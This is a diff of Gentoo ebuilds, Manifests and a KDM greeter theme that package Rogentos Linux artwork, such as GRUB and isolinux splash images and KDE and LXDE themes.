+inherit base mount-boot
+
+DESCRIPTION="Rogentos GRUB2 Images"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND="!x11-themes/sabayon-artwork-grub"
+
+S="${WORKDIR}"
+
+src_install () {
+	dodir /usr/share/grub
+	insinto /usr/share/grub
+	doins default-splash.png
+}
+
+pkg_postinst() {
+	local dir="${ROOT}"boot/grub
+	cp "${ROOT}/usr/share/grub/default-splash.png" "${dir}/default-splash.png" || \
+		ewarn "cannot install default splash file!"
+}
diff --git a/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.1.ebuild b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.1.ebuild
new file mode 100644
index 00000000..a7ca282e
--- /dev/null
+++ b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2004-2012 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
+inherit base mount-boot
+
+DESCRIPTION="Rogentos GRUB2 Images"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND="!x11-themes/sabayon-artwork-grub"
+
+S="${WORKDIR}"
+
+src_install () {
+	dodir /usr/share/grub
+	insinto /usr/share/grub
+	doins default-splash.png
+}
+
+pkg_postinst() {
+	local dir="${ROOT}"boot/grub
+	cp "${ROOT}/usr/share/grub/default-splash.png" "${dir}/default-splash.png" || \
+		ewarn "cannot install default splash file!"
+}
diff --git a/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.ebuild b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.ebuild
new file mode 100644
index 00000000..4517cf17
--- /dev/null
+++ b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2004-2012 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
+inherit base mount-boot
+
+DESCRIPTION="Rogentos GRUB2 Images"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND=""
+
+S="${WORKDIR}"
+
+src_install () {
+	dodir /usr/share/grub
+	insinto /usr/share/grub
+	doins default-splash.png
+}
+
+pkg_postinst() {
+	local dir="${ROOT}"boot/grub
+	cp "${ROOT}/usr/share/grub/default-splash.png" "${dir}/default-splash.png" || \
+		ewarn "cannot install default splash file!"
+}
diff --git a/x11-themes/rogentos-artwork-isolinux/Manifest b/x11-themes/rogentos-artwork-isolinux/Manifest
new file mode 100644
index 00000000..3bf0ec7f
--- /dev/null
+++ b/x11-themes/rogentos-artwork-isolinux/Manifest
@@ -0,0 +1,7 @@
+DIST rogentos-artwork-isolinux-1.tar.gz 62342 SHA256 20d84fa20f8231d4960abc1e8b50f81d3929ad69a893627677900ca183b0aa19 SHA512 c9777a3651b1ea0d2224f52f4f4f33586aff3cc61aba9102804aad3c3af34c1f8e29df600e4ff639a97a1799ee1b1c2b8db81ae593220400fbe5ab7102848564 WHIRLPOOL acdae085cb588ac1bebeb3a5c09287b09792ccfc79352320b6e0c8f9b7284f094fb7904ab447eef64b4684b7c12e9273c72f54c0d2513320565fd771a40d4adb
+DIST rogentos-artwork-isolinux-2.1.tar.gz 19116 SHA256 cba8312a0f73fc15c3a2d54a8ae1b455403539b9a9e7a5e326fb0198380e3045 SHA512 09a76c8feea5fb348523d8caa4f491c03ad348c709ffadfe2e7129b096f09e41f8e8937b5521d4b90d0183785349f3dee0c232ae062add4af2c65a2fc31ad3e5 WHIRLPOOL 2afde698580ec255d495b0050a8580a2569b57887fdcdafa0cb042a250ed52ff054b2b425f69adacb66b8cdda82bf4972435ba8f3aec8449dabd8ef37aea4181
+DIST rogentos-artwork-isolinux-2.tar.gz 15405 SHA256 60a84645fea79482648e70d318968f733e7870545e062e021bc8e19e5941337b SHA512 5643eefb054174163e390c0eb4a3e0effdd98f1cbbf01d7c454226ad4a53a27a447e61c9c363b5ad58cebeb20dcba3cb3398a2d10b08e9659bc7569eccaaabf8 WHIRLPOOL b57a56f4f499de047e57aa9bd9dc77d1b0dce7d3a0f30533f9b3d02d2fa2bdcb94c391fe2ba0a2415ef7d7bfecd4764364c1e4dd2248ead37b88037838b1a121
+EBUILD rogentos-artwork-isolinux-1.ebuild 730 SHA256 54e8767baeb8e8ead28d45ec29368969322d3ebfde354bbfbffe2d5f742fc619 SHA512 84698bff16ad7643fe66bcde4e24c30e45090d809b5cf145b20f8ead9ab0847dd6b5468afc020a6264044fc7e27c9c41d89d3d21e23c081654e25aef4dd49afb WHIRLPOOL f80a2801d48a07e1edc57950fc823766d4fb7b132a380e98007f50deaf6aaf2cba012adaf180a6e72cec41a135366d032b6cdf6695cf47a82bd9edc8c38402a2
+EBUILD rogentos-artwork-isolinux-2-r1.ebuild 793 SHA256 9e959cd7695a96053d33fbcc4ee0c1737c180665b481410e8e972ae6822ed466 SHA512 0b8e8b3f35322071d5903d1b5c8687e4da5aa7781d86f9dd714a24bae9b896c98c5cdf5caeafce035f6a36d51e6d2b96e07fddfa102ab7901a080404aef3d08e WHIRLPOOL 8c83fcfcbe0e63f8b490807cd048b24b03726a706b94554a07dd6cfdc3624b68e00eb50a9c0cd692fb9ea5b97a9ae04faf36d860689552f1111d3ed7ab4239b1
+EBUILD rogentos-artwork-isolinux-2.1.ebuild 793 SHA256 9e959cd7695a96053d33fbcc4ee0c1737c180665b481410e8e972ae6822ed466 SHA512 0b8e8b3f35322071d5903d1b5c8687e4da5aa7781d86f9dd714a24bae9b896c98c5cdf5caeafce035f6a36d51e6d2b96e07fddfa102ab7901a080404aef3d08e WHIRLPOOL 8c83fcfcbe0e63f8b490807cd048b24b03726a706b94554a07dd6cfdc3624b68e00eb50a9c0cd692fb9ea5b97a9ae04faf36d860689552f1111d3ed7ab4239b1
+EBUILD rogentos-artwork-isolinux-2.ebuild 758 SHA256 b39a7ff568a18ea27f62a348820802263902b2ca44d0b873bad375ecea732c81 SHA512 1e6166bff91fbf5b93a10b75bb4378f2efcf965e98397efad661cd20bf9cb2df3d4aa5784d9b94ba32e11231145e1abc2cf47b606f51b97e757e794070cf96a3 WHIRLPOOL 8f179e88d0c61790c071b29571f3f1180c135fbd85f56f4bba5bd73e352479fcc9809514d8eea9446ae4aea72365ebf6548dd37473adfcd9538d109ee852b205
diff --git a/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-1.ebuild b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-1.ebuild
new file mode 100644
index 00000000..39a8a3d4
--- /dev/null
+++ b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-1.ebuild
@@ -0,0 +1,28 @@
+# Copyright 2004-2011 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
+inherit base
+
+DESCRIPTION="Rogentos Isolinux Image Background"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz
+	http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND=""
+
+S="${WORKDIR}"
+
+src_install () {
+	dodir /usr/share/backgrounds/isolinux || die
+	insinto /usr/share/backgrounds/isolinux || die
+	doins back.jpg || die
+}
diff --git a/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2-r1.ebuild b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2-r1.ebuild
new file mode 100644
index 00000000..ea832ad2
--- /dev/null
+++ b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2-r1.ebuild
@@ -0,0 +1,28 @@
+# Copyright 2004-2011 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
+inherit base
+
+DESCRIPTION="Rogentos Isolinux Image Background"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz"
+	#http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz temporary out of duty repo
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND="!x11-themes/sabayon-artwork-isolinux"
+
+S="${WORKDIR}"
+
+src_install () {
+	dodir /usr/share/backgrounds/isolinux || die
+	insinto /usr/share/backgrounds/isolinux || die
+	doins back.jpg || die
+}
diff --git a/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.1.ebuild b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.1.ebuild
new file mode 100644
index 00000000..ea832ad2
--- /dev/null
+++ b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.1.ebuild
@@ -0,0 +1,28 @@
+# Copyright 2004-2011 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
+inherit base
+
+DESCRIPTION="Rogentos Isolinux Image Background"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz"
+	#http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz temporary out of duty repo
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND="!x11-themes/sabayon-artwork-isolinux"
+
+S="${WORKDIR}"
+
+src_install () {
+	dodir /usr/share/backgrounds/isolinux || die
+	insinto /usr/share/backgrounds/isolinux || die
+	doins back.jpg || die
+}
diff --git a/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.ebuild b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.ebuild
new file mode 100644
index 00000000..7b1f56ad
--- /dev/null
+++ b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.ebuild
@@ -0,0 +1,28 @@
+# Copyright 2004-2011 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
+inherit base
+
+DESCRIPTION="Rogentos Isolinux Image Background"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+	#http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz temporary out of duty repo
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND=""
+
+S="${WORKDIR}"
+
+src_install () {
+	dodir /usr/share/backgrounds/isolinux || die
+	insinto /usr/share/backgrounds/isolinux || die
+	doins back.jpg || die
+}
diff --git a/x11-themes/rogentos-artwork-kde/Manifest b/x11-themes/rogentos-artwork-kde/Manifest
new file mode 100644
index 00000000..549ea517
--- /dev/null
+++ b/x11-themes/rogentos-artwork-kde/Manifest
@@ -0,0 +1,3 @@
+AUX 5.4-hotfixes/rogentos.xml 5588 SHA256 c5cae4d7b62fc24fbb39a21e3b6651fb4a63b4e5a4326e8dd4707b05a5b57253 SHA512 5177f989afe8c903f5ccb404c0342e385d7289fe17d9e3bcd801f324bd76ff0efdb278818e1512ee6f79c3fdc3bba3299bf7b2815627dab28eb46abacefad94e WHIRLPOOL 5c028e831ec979f3e41d3b3ae43ee42589d66cad8a03652074a175af61888ccd86c9ef5c75194c4dd692cebd4e4b218a123e947f4726187c94f4ff016d8db4c7
+DIST rogentos-artwork-kde.tar.gz 3843814 SHA256 05eaaf681bb0d4e0e309cd6e909481f5dadf8d4d26167eac5e42d5df12ecc359 SHA512 d5d3bd65c824e9388db206d0599f1af9b839001f6c3bdc94d92efa401cd80ac404dee84a85aa25cc4ab11a5ecf8187288043b4091a68413d77c3131ece424be4 WHIRLPOOL bcbfbffa09fad7835acad593e1837863fb0f15d2927ca9fa8ef38c94ea187a688f9dd2b92956f7fff2e471ce5dec31bd37b8aaffb386d0bd87e7e06953f65b07
+EBUILD rogentos-artwork-kde-1.ebuild 1028 SHA256 ef781fa39429ab1ba9c6eab77330f83941448edaabe5efba75c3168866cfd243 SHA512 d6d713aa481b9ae2d2b159b579d7abe63fe9cda4295518273ee8a3cfd8f302078c2bd836957b8bd2696fd606b0589dfc45147a2c1a58ceaa75839d39c0f32950 WHIRLPOOL 9af804ec028423473c1ec730b857b150472950e7707ae73187d84c539bcb0b46dd9d55d1ed3361d3e829583135b3c48bca860fd2cf271f375b5f3675fe78d222
diff --git a/x11-themes/rogentos-artwork-kde/files/5.4-hotfixes/rogentos.xml b/x11-themes/rogentos-artwork-kde/files/5.4-hotfixes/rogentos.xml
new file mode 100644
index 00000000..a6df3821
--- /dev/null
+++ b/x11-themes/rogentos-artwork-kde/files/5.4-hotfixes/rogentos.xml
@@ -0,0 +1,159 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE greeter SYSTEM "greeter.dtd">
+<!--
+Sabayon KDM theme 5.4
+Copyright (c) 2010 Sabayon Foundation
+Copyright (c) 2012 Rogentos Linux
+
+Based on:
+Elegant Air KDM Theme 0.2
+Copyright (c) 2008 Max Resch <resch.max@gmail.com>
+Copyright (C) 2008 Vaxx <vaxxipooh@yahoo.se>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+===========
+Changelog:
+	0.2 (16.09.2008)
+	- Rewrote the xml file because of compatibility issues with KDM 4.1
+	- Released Background: Emotion by Vlad Gerasimov <vladstudio@gmail.com>
+	- Used Fonts: Segoe Semibold, Segoe Black, Segoe UI
+-->
+<greeter id="theme">
+	<style font="Sans 9" window-text-color="#bbbbbb" text-color="#000000" disabled-text-color="#808080"/>
+	<item type="svg" id="background" background="true">
+		<normal file="kdm.jpg"/>
+		<pos anchor="c" x="50%" y="50%" width="100%" height="100%"/>
+	</item>
+	<item type="rect" id="titlebanner">
+		<pos anchor="n" x="50%" y="0" width="100%" height="48"/>
+		<fixed>
+			<item type="pixmap">
+				<normal file="welcome-time-shadowed.png"/>
+				<pos width="824" height="48" expand="true"/>
+			</item>
+			<item type="label">
+				<pos anchor="w" x="28" y="33%" width="100%" expand="true"/>
+				<normal color="#bbbbbb" font="Sans 10"/>
+				<stock type="welcome-label"/>
+			</item>
+			<item type="label" id="clock">
+				<pos anchor="e" x="-22" y="33%" expand="true"/>
+				<normal color="#bbbbbb" font="Sans 10"/>
+				<text>%c</text>
+			</item>
+		</fixed>
+	</item>
+	<item type="rect" id="main">
+		<pos anchor="c" x="50%" y="50%" width="100%" height="192"/>
+		<fixed>
+			<item type="pixmap">
+				<normal file="main-runner.png"/>
+				<pos width="100%" height="192"/>
+			</item>
+		</fixed>
+		<box orientation="horizontal" spacing="100" xpadding="10">
+			<item type="pixmap">
+				<normal file="logo.png"/>
+				<pos anchor="w" x="40" y="50%" width="100" height="100"/>
+			</item>
+			<item type="rect" id="talker">
+				<pos anchor="w" y="50%" width="box" height="box"/>
+				<box orientation="horizontal" spacing="8">
+					<box orientation="vertical" spacing="8">
+						<item type="label">
+							<pos anchor="w"/>
+							<stock type="username-label"/>
+						</item>
+						<item type="label">
+							<pos anchor="w"/>
+							<stock type="password-label"/>
+						</item>
+					</box>
+					<box orientation="vertical" spacing="8">
+						<item type="entry" id="user-entry">
+							<pos anchor="e" width="180" height="28"/>
+						</item>
+						<item type="entry" id="pw-entry">
+							<pos anchor="e" width="180" height="28"/>
+						</item>
+					</box>
+				</box>
+			</item>
+		</box>
+	</item>
+	<item type="rect">
+		<pos anchor="e" x="-22" y="50%" width="box" height="box"/>
+		<box orientation="vertical" spacing="15">
+			<item type="rect" id="session_button" button="true">
+				<pos anchor="e" x="-0" y="50%" width="box" height="box" expand="true"/>
+				<box orientation="horizontal" spacing="7" width="100%" expand="true">
+					<item type="pixmap">
+						<normal file="sessions_inactive.png"/>
+						<prelight file="sessions.png"/>
+						<pos anchor="e" x="-0" y="50%" width="48" height="48"/>
+					</item>
+					<item type="label">
+						<normal color="#bbbbbb" font="Sans 9"/>
+						<prelight color="#ffffff" font="Sans 9"/>
+						<active color="#ff0000" font="Sans 9"/>
+						<pos anchor="e" x="-0" y="50%" min-width="100" width="100%"/>
+						<stock type="session"/>
+					</item>
+				</box>
+			</item>
+			<item type="rect" id="system_button" button="true">
+				<show modes="console" type="system"/>
+				<pos anchor="e" x="-0" y="50%" width="box" height="box"/>
+				<!--<pos anchor="ne" x="100%" y="50%" width="box" height="box"/>-->
+				<box orientation="horizontal" spacing="7">
+					<item type="pixmap">
+						<normal file="system_inactive.png"/>
+						<prelight file="system.png"/>
+						<pos anchor="e" x="-0" y="50%" width="48" height="48"/>
+					</item>
+					<item type="label">
+						<normal color="#bbbbbb" font="Sans 9"/>
+						<prelight color="#ffffff" font="Sans 9"/>
+						<active color="#ff0000" font="Sans 9"/>
+						<pos anchor="e" x="-0" y="50%" min-width="100" width="100%"/>
+						<stock type="system"/>
+					</item>
+				</box>
+			</item>
+		</box>
+	</item>
+	<item type="rect" id="caps-lock-warning">
+		<normal color="#000000" alpha="0.4"/>
+		<pos anchor="c" x="50%" y="20%" width="box" height="box"/>
+		<box orientation="vertical" min-width="400" xpadding="10" ypadding="5" spacing="0">
+			<item type="label">
+				<normal color="#bbbbbb" font="Sans 9"/>
+				<pos x="50%" anchor="n" width="100%"/>
+				<stock type="caps-lock-warning"/>
+			</item>
+		</box>
+	</item>
+	<item type="rect" id="pam-error">
+		<normal color="#000000" alpha="0.4"/>
+		<pos anchor="c" x="50%" y="20%" width="box" height="box"/>
+		<box orientation="vertical" min-width="400" xpadding="10" ypadding="5" spacing="0">
+			<item type="label">
+				<normal color="#bbbbbb" font="Sans 9"/>
+				<pos anchor="n" x="50%" width="100%"/>
+				<text>Login failed</text>
+			</item>
+		</box>
+	</item>
+</greeter>
diff --git a/x11-themes/rogentos-artwork-kde/rogentos-artwork-kde-1.ebuild b/x11-themes/rogentos-artwork-kde/rogentos-artwork-kde-1.ebuild
new file mode 100644
index 00000000..03389d41
--- /dev/null
+++ b/x11-themes/rogentos-artwork-kde/rogentos-artwork-kde-1.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2012 Sabayon Linux
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+#
+
+EAPI=4
+CMAKE_REQUIRED="never"
+inherit eutils kde4-base
+
+DESCRIPTION="Rogentos Linux Official KDE Artwork"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}.tar.gz"
+	#http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="+ksplash"
+RDEPEND=""
+
+S="${WORKDIR}/${PN}"
+
+src_install() {
+	# KDM
+	# debugging mode
+	echo "Asta e ${KDEDIR}, cica"
+	dodir ${KDEDIR}/share/apps/kdm/themes
+	cd ${S}/kdm/ || die
+	insinto ${KDEDIR}/share/apps/kdm/themes
+	doins -r ./
+
+	# Kwin
+	dodir ${KDEDIR}/share/apps/aurorae/themes/
+	cd ${S}/kwin || die
+	insinto ${KDEDIR}/share/apps/aurorae/themes/
+	doins -r ./
+
+	# KSplash
+	if use ksplash; then
+		dodir ${KDEDIR}/share/apps/ksplash/Themes
+		cd ${S}/ksplash || die
+		insinto ${KDEDIR}/share/apps/ksplash/Themes
+		doins -r ./
+	fi
+}
diff --git a/x11-themes/rogentos-artwork-loo/rogentos-artwork-loo-1.ebuild b/x11-themes/rogentos-artwork-loo/rogentos-artwork-loo-1.ebuild
new file mode 100644
index 00000000..abf87e88
--- /dev/null
+++ b/x11-themes/rogentos-artwork-loo/rogentos-artwork-loo-1.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2011 Sabayon Linux
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $ 
+
+EAPI=4
+inherit multilib
+
+DESCRIPTION="Rogentos LibreOffice Artwork"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI=".tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+DEPEND="sys-apps/sed"
+RDEPEND=""
+
+S=${WORKDIR}/${PN}
+
+src_install () {
+	cd "${S}/images"
+	sed -i "s:650:620:" sofficerc || die
+	insinto /usr/$(get_libdir)/libreoffice/program
+        doins *.png sofficerc
+}
+
+pkg_postinst () {
+	ewarn "Please report bugs or glitches to"
+	ewarn "bugs.rogentos.ro"
+}
diff --git a/x11-themes/rogentos-artwork-lxde/Manifest b/x11-themes/rogentos-artwork-lxde/Manifest
new file mode 100644
index 00000000..907f4c12
--- /dev/null
+++ b/x11-themes/rogentos-artwork-lxde/Manifest
@@ -0,0 +1,2 @@
+DIST rogentos-artwork-lxde-1.tar.gz 728167 SHA256 ba4547798897065a052f87cda20d42cd9a9084dd09cf72e5af4f3be6e9f26400 SHA512 ef30f557ec3b89934181c9918dd13fa26d27412283de1d955a3676b833ac16f361900c2c2650ea7ade1f9ddabfb5b59e2d8632bf63b60e4fdde71a94abaf4651 WHIRLPOOL 653a15bc0ae72e6da52deadd1a50156c58eb702995d0a00b1979d9c687c5aa411080127557d033cc0b482e94a96f5cc1114a981423adc1e80700f14387befeaf
+EBUILD rogentos-artwork-lxde-1.ebuild 926 SHA256 1b21c1aff24f4e5e3b8eabeaecbfd22d4a448fd446dee110923398cf53bac018 SHA512 1b5ff6e421a6d3e8afabca85a118b29d78b010a0226c6329054b66e10f6a8602d762fbc4e143672073decb36db071f77a4b94875b20d140ed871b429deeae4d0 WHIRLPOOL 58c339f57d83bb549872d4adfd9dc2f1d73bb275e35d47fd3763f50d6af5e43565cfefeb9985b2a5ae7c179f10571267f860cc99942fb0a34e7ae7ccd92d3a07
diff --git a/x11-themes/rogentos-artwork-lxde/rogentos-artwork-lxde-1.ebuild b/x11-themes/rogentos-artwork-lxde/rogentos-artwork-lxde-1.ebuild
new file mode 100644
index 00000000..6ca6b39a
--- /dev/null
+++ b/x11-themes/rogentos-artwork-lxde/rogentos-artwork-lxde-1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2004-2011 Sabayon Promotion
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+#
+
+EAPI=3
+
+inherit base
+
+DESCRIPTION="Rogentos LXDE Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz
+	http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+RDEPEND="x11-themes/rogentos-artwork-core"
+
+S="${WORKDIR}/lxdm"
+
+src_install () {
+	cd "${S}" || die "Cannot cd into folder"
+	dodir /usr/share/lxdm/themes/Rogentos || die "Cannot dodir"
+	insinto /usr/share/lxdm/themes/Rogentos || die "Cannot insinto"
+	doins Rogentos/* || die "Cannot doins"
+
+	insinto /etc/lxdm/ || die "Cannot insinto folder"
+	doins "${S}"/lxdm.conf /etc/lxdm/ || die "Could not copy lxdm.conf"
+}
diff --git a/x11-themes/rogentos-artwork-resplash/Manifest b/x11-themes/rogentos-artwork-resplash/Manifest
new file mode 100644
index 00000000..f9559939
--- /dev/null
+++ b/x11-themes/rogentos-artwork-resplash/Manifest
@@ -0,0 +1,2 @@
+EBUILD rogentos-artwork-resplash-1.1.ebuild 1105 SHA256 d0c2a76a973989464869607d60976071793eaaa7671d040c0d6f5b90cfd6c469 SHA512 a1a86c2b1e3fa6289ad2972eef82788ae94d131f8bc667ac62a86ff4a489a9b8233c4aabc9f2a9a9c5b3e2707bb7b4148ccf7aab4a441e0f8f8899eaab8a8c2c WHIRLPOOL 8efa3a86196e51eac54b46aa642ad5f678628d1c60d68b0f8015ec28a74f1de2dcde5a8966a795ef25536a3fb1121266b577a8a789bbbe31f5953254a4872d5a
+EBUILD rogentos-artwork-resplash-1.ebuild 1076 SHA256 c0dc0060c991f8295f2b90536948ef1246700692b12bedf236ad5ad093342e3c SHA512 28be4df49be897bd0e44bd02231935e0ba4df857d7f4cdafdd75555bc019629552803d1e86f69e89707547f88c821d8f3274ad7a862402408f82cf39828a0a9c WHIRLPOOL ce3013c88a63b19ce1532002a9380308dc369bc88c9774f5970c1a1740002c716d25cbfcab3ee3515ad8561e409a1bbca592ec8b0d9e36c1c6de2c07aeb27218
diff --git a/x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.1.ebuild b/x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.1.ebuild
new file mode 100644
index 00000000..c65de04f
--- /dev/null
+++ b/x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.1.ebuild
@@ -0,0 +1,46 @@
+# Copyright 1999-2012 Sabayon Promotion
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+inherit mount-boot rogentos-artwork
+
+DESCRIPTION="Offical Rogentos Linux Core Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI=""
+
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~arm ~x86 ~amd64"
+IUSE=""
+RDEPEND=">=app-admin/stability-watcher-0.1
+        app-misc/rogentos-version"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+pkg_config() {
+        ewarn "This is ONLY for Sabayon-derived linux users" || die
+
+        # mount boot first
+        mount-boot_mount_boot_partition
+
+        # Update Sabayon initramfs images
+        update_sabayon_kernel_initramfs_splash
+
+        einfo "Please report bugs or glitches to"
+        einfo "BlackNoxis"
+}
+
+pkg_postinst() {
+	# mount boot first
+	mount-boot_mount_boot_partition
+
+	# Update Sabayon initramfs images
+	update_sabayon_kernel_initramfs_splash
+
+	einfo "Please report bugs or glitches to"
+	einfo "BlackNoxis"
+}
diff --git a/x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.ebuild b/x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.ebuild
new file mode 100644
index 00000000..04ab4bd3
--- /dev/null
+++ b/x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.ebuild
@@ -0,0 +1,45 @@
+# Copyright 1999-2012 Sabayon Promotion
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+inherit mount-boot rogentos-artwork
+
+DESCRIPTION="Offical Rogentos Linux Core Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI=""
+
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~arm ~x86 ~amd64"
+IUSE=""
+RDEPEND="x11-themes/rogentos-artwork-core"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}/${PN}"
+
+pkg_config() {
+        ewarn "This is ONLY for Sabayon-derived linux users" || die
+
+        # mount boot first
+        mount-boot_mount_boot_partition
+
+        # Update Sabayon initramfs images
+        update_sabayon_kernel_initramfs_splash
+
+        einfo "Please report bugs or glitches to"
+        einfo "BlackNoxis"
+}
+
